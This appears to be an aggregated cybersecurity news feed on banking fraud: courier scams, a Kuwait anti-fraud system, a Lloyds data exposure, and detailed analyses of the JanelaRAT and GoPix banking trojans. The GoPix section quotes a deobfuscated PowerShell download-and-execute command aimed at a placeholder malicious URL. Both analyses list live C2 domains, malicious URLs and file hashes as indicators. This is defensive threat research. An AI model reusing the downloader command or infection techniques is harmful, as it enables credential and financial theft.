If you live in Jersey and bank with Revolut, you should be on your guard against scam phone calls. Because local police on the largest of the Channel Islands have warned that over a single four-week period, an astonishing 75% of all scam crime reports they have received have involved Revolut accounts Read more in my article on the Hot for Security blog.

What Happened

• New data published by the City of London Police in June 2026 reveals that courier fraud losses exceeded £21 million in 2025, with individuals aged over 70 being heavily targeted. The highest concentration of these offenses was recorded in London and the Home Counties.
• Cybercriminals and fraud syndicates are actively evolving their operational tactics, increasingly pivoting to messaging platforms like WhatsApp to contact their victims and remotely paying for third-party courier services to facilitate physical collections.
• UK law enforcement also highlighted a dangerous shift in 2025 toward high-value physical goods. Victims are being systematically manipulated into visiting multiple jewellers over an extended period to purchase gold and expensive jewellery, which they then hand directly to fraud couriers.

Recent operational crackdowns by UK Regional Organised Crime Units (ROCUs) showcase the nationwide scale of these networks:

• North West ROCU Operations (July 2026): Police executed coordinated search warrants in Huddersfield and Manchester, arresting two men (aged 21 and 25) on suspicion of Conspiracy to Defraud and Money Laundering. In this specific series, the suspects impersonated bank fraud departments, convinced a victim her card was compromised, sent a courier to collect it, and immediately exploit the physical card to make numerous fraudulent transactions.
• North East ROCU (NEROCU) Sentencing (June 2026): A complex, cross-country courier fraud operation spanning March to May 2022 concluded with a prison sentence for a primary operative. The network targeted 14 separate victims, convincing them to hand over physical bank cards and PIN numbers under the guise of an internal "investigation" by their bank's fraud department. The group scammed a total of £56,000, which was then rapidly laundered through the high street purchase of smartphones, designer clothing, and luxury jewellery.

Analyst Comment

Courier fraud is effectively a hybrid cyber-physical social engineering campaign. While the final phase relies on a physical courier arriving at a victim’s doorstep, the initial approach relies heavily on psychological manipulation and email, message, or phone call-based deception.

This type of fraud is notable as it follows a structured cybercriminal playbook that bypasses detection systems and takes advantage of the vulnerable in society. The victim is instructed to bypass normal banking security controls by withdrawing cash, disclosing sensitive credentials (like PINs), or purchasing high-value physical commodities like gold or luxury jewellery. This makes it difficult to proactively detect and prevent.

The other concerning factor is the couriers themselves. According to reports, they can be an unwitting third-party courier service that is paid to go to the victim's home to collect the assets. Online services enable cybercriminals to organise these pickups remotely, lowering their risk of being caught.

The £21 million sizeable loss metric from 2025 shows how profitable this low-tech, high manipulation vector remains. The recent shift to targeting gold and luxury jewellery is a deliberate evasion tactic against traditional anti-money laundering (AML) and banking fraud detection algorithms. While banks have grown adept at flagging unusual rapid bank transfers, they cannot easily stop an account holder from physically withdrawing funds or using a card over several days at different brick-and-mortar luxury retailers. This tactic serves as a highly liquid physical laundering pipeline for these syndicates that remains a challenge to prevent.

Defensive Takeaways

• Implement Bank Transfer and Purchase Outlier Alerts: Financial institutions can focus on further behavioural monitoring for elderly demographics, looking specifically for sudden, consecutive high-value transactions at physical luxury retail or jewellery establishments and flag patterns on unusual activity for review.
• Public Awareness on Cross-Media Scams: Security awareness campaigns must make it clear that legitimate institutions, specifically the Police and Banking Fraud teams, will never send a courier to a residential address to collect cash, PIN numbers, bank cards, or purchased items.
• Vetting of Courier Logistics: Commercial courier services are increasingly being abused as infrastructure by these threat groups. Logistics firms must implement logging and analysis systems to detect unusual residential pickups booked via suspicious accounts and forged identities.

Relevant Sources

1. https://www.cityoflondon.police.uk/news/city-of-london/news/2026/june/over-70s-targeted-as-courier-fraud-exceeds-21-million-in-2025-with-london-and-home-counties-hit-hardest/
2. https://www.rocu.police.uk/news/2026/july/two-suspected-fraudsters-arrested-after-cross-border-strikes/
3. https://www.rocu.police.uk/news/2026/june/a-courier-fraud-conman-has-been-jailed/

RedHook malware uses fake banking and government apps to steal data and control Android phones, with attacks confirmed in Vietnam and Indonesia so far.

The post Fake Bank Apps Let Scammers Control Android Phones in Southeast Asia appeared first on TechRepublic.

A polite caller from your bank says there is a problem with your account. Don't worry - they'll send someone round to help. They'll even take your cards away to keep them safe. The scam has run rampant, until Dutch police plastered blurred photos of 100 suspects across billboards, supermarkets, and TikTok, with a two-week ultimatum to turn themselves in... or else. Meanwhile, a security researcher called Bob DaHacker got her hands on the live broadcast controls for every match of the 2026 FIFA World Cup. She could have Rickrolled the entire planet, but actually spent days trying to find anyone at FIFA who would pick up the phone. Plus! Don't miss our featured interview with Black Kite's Jeffrey Wheatman exploring ransomware and extortion attacks across Europe. All this and more in episode 473 of the "Smashing Security" podcast with cybersecurity expert and keynote speaker Graham Cluley, and special guest Danny Palmer.

Zimperium researchers discover a new mobile Trojan that hijacks clipboards, blocks bank calls, and takes complete control of Android devices.

Notes the May 2026 Dark Web Threat Actor Trend Report summarizes the trends of threat actors and hacktivists operating on the deep web and dark web. some statements are not factually verifiable. Major Issues hacktivist activity targeting the South Korean Region was concentrated. some hacktivist groups claimed DDoS attacks against the website of the South […]

Kuwait’s banking sector is strengthening its defenses against rising Kuwait cyber fraud threats with the deployment of an advanced virtual operations system designed to detect and respond to financial crimes in real time. The initiative, led by the Kuwait Banking Association, comes under the direction of the Central Bank of Kuwait as part of a broader effort to counter increasing fraud targeting bank customers.

Virtual War Room Enhances Financial Cybercrime Response

Officials say the newly enhanced platform, often described as a virtual war room banking system, has evolved into a centralized national mechanism to tackle Kuwait cyber fraud threats more effectively. According to Abdulwahab Al-Duaij, head of the Anti-Fraud Committee at the association, the system enables banks and authorities to act quickly when fraud is detected. It connects directly with government bodies, including the Ministry of Interior and the Public Prosecution, allowing coordinated action without delays. This level of integration is seen as a critical step in addressing financial cybercrime Kuwait, where speed often determines whether stolen funds can be recovered.

Real-Time Action to Stop Fraudulent Transactions

One of the key features of the system is its ability to respond immediately to incidents. Once suspicious activity is identified, the platform allows authorities to halt transactions, trace the movement of funds, and begin legal proceedings. This rapid response capability is central to tackling Kuwait cyber fraud threats, which increasingly involve fast-moving digital transactions that can be difficult to track after the fact. Officials say the banking fraud detection system has already improved the efficiency of handling fraud cases, reducing response times and limiting financial losses for customers.

Shift From Reactive to Proactive Monitoring

The upgraded system marks a shift in how Kuwait cyber fraud threats are managed. Instead of reacting only after fraud occurs, the platform now actively monitors patterns and emerging tactics used by attackers. Authorities have identified a range of common scams, including fake bank communications, fraudulent links requesting data updates, misleading advertisements, and false prize claims. These tactics are designed to trick users into sharing sensitive information. By tracking these patterns, the system aims to detect suspicious activity earlier and prevent fraud attempts before they succeed.

Coordination Strengthens National Cyber Defense

The collaboration between banks, law enforcement, and regulatory bodies is a key part of the strategy. Officials say this coordinated approach improves visibility into threats and ensures that responses are aligned across institutions. As Kuwait cyber fraud threats continue to evolve, such coordination is becoming increasingly important. Financial fraud is no longer limited to isolated incidents but often involves organized networks using multiple channels to target victims. The virtual chamber serves as a central hub where information can be shared quickly, enabling faster and more informed decision-making.

Customers Urged to Stay Vigilant

While the system strengthens institutional defenses, officials stress that customer awareness remains essential in reducing Kuwait cyber fraud threats. Users are being warned not to share banking details, passwords, or one-time codes under any circumstances. Banks have reiterated that they do not request such information through phone calls, text messages, or online links. Many recent fraud cases have relied on social engineering techniques, where attackers impersonate trusted entities to gain access to sensitive data.

Ongoing Efforts to Address Emerging Threats

The Kuwait Banking Association says the virtual system will continue to evolve as new fraud techniques emerge. The goal is to maintain a high level of readiness and ensure that financial institutions can respond effectively to changing risks. As digital banking adoption grows, Kuwait cyber fraud threats are expected to remain a key concern for both regulators and financial institutions. Strengthening detection systems and improving response coordination are likely to remain central to the country’s cybersecurity strategy. Officials say the focus will remain on protecting customer assets, maintaining trust in the banking system, and ensuring that fraud cases are addressed quickly within legal frameworks.

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

Letter from group published by MPs blames 12 March glitch on software update to its mobile banking apps

Lloyds Banking Group exposed the personal data of nearly 500,000 customers in an IT glitch that left people’s payments, account details and national insurance numbers visible to other users, a committee of MPs has revealed.

A letter from Lloyds, published by MPs on the Treasury select committee on Friday, blamed the glitch on a software defect introduced during an IT update to its Lloyds, Halifax and Bank of Scotland mobile banking apps overnight into 12 March.

Continue reading...

© Photograph: David Burton/Alamy

© Photograph: David Burton/Alamy

© Photograph: David Burton/Alamy

Introduction

GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.

Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.

GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.

The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.

The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.

The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.

Initial infection

Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.

We have been monitoring this threat since 2023, and it continues to be very active for the time being.

GoPix malware campaign detections (download)

The initial infection vector is shown below:

When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.

However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:

The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.

This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.

Infection chain

First-stage payload

If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.

The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.

However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.

Deobfuscated command line:

WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -

The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.

It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.

Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).

Initial PowerShell script

This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.

The information contained within this JSON is as follows:

• Folder and file names to be created under the %APPDATA% directory
• Obfuscated PowerShell script
• Encrypted PowerShell script ps
• Malicious code implant sc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implant
• GoPix configuration file pf

Once these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.

PSExecutionPolicyPreference=Unrestricted
powershell -File "$scriptPath"
exit

Obfuscated PowerShell script

Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.

Decrypted PowerShell script “ps”

The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.

The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.

Shellcode

This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.

The first time GoPix is dropped into memory through PowerShell, its structure is as follows:

1. Memory dropper shellcode
2. Memory dropper DLL
3. Main payload shellcode
4. Main payload DLL

Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.

GoPix dropper

When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.

After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.

Main GoPix implant

Clipboard stealing functionality

Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.

When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.

Unique man-in-the-middle attack

PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.

In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32	Target
8BD688E8	local
8CA8ACFF	www2.banco********.com.br
AD8F5213	autoatendimento.********.com.br
105A3F17	www2.****.com.br
B477FE70	internetbanking.*******.gov.br
785F39C2	loginx.********.br
C72C8593	internetpf.*****.com.br
75E3C3BA	internet.*****.com.br
FD4E6024	internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/